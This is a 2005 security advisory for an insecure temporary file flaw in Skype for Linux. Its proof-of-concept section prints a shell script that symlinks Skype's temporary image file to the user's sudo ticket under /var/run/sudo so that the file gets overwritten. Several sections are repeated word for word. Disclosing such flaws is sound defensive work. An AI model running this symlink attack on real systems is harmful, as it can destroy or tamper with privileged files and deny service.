Skype Technologies Skype Insecure Temporary File Creation Vulnerability
BID:14293
Info
Skype Technologies Skype Insecure Temporary File Creation Vulnerability
| Bugtraq ID: | 14293 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jul 18 2005 12:00AM |
| Updated: | Jul 18 2005 12:00AM |
| Credit: | Discovery is credited to Giovanni Delvecchio of Zone-H. |
| Vulnerable: |
Skype Technologies Skype (Linux) 1.1 .0.20 Skype Technologies Skype (Linux) 1.0.0.7 Skype Technologies Skype (Linux) 1.0.0.1 Skype Technologies Skype (Linux) 0.93.0.3 Skype Technologies Skype (Linux) 0.92.0.12 |
| Not Vulnerable: | |
Discussion
Skype Technologies Skype Insecure Temporary File Creation Vulnerability
Skype is affected by an insecure temporary file creation vulnerability.
Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.
Skype 1.1.0.20 and prior versions are affected.
Skype is affected by an insecure temporary file creation vulnerability.
Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.
Skype 1.1.0.20 and prior versions are affected.
Exploit / POC
Skype Technologies Skype Insecure Temporary File Creation Vulnerability
There is no exploit required.
The following proof of concept is available:
#!/bin/sh
#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`
user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg
There is no exploit required.
The following proof of concept is available:
#!/bin/sh
#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`
user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg
Solution / Fix
Skype Technologies Skype Insecure Temporary File Creation Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Skype Technologies Skype Insecure Temporary File Creation Vulnerability
References:
References:
- [ZH2005-16SA] Skype for Linux - Insecure temporary file creation (Zone-H)
- Skype Homepage (Skype Technologies)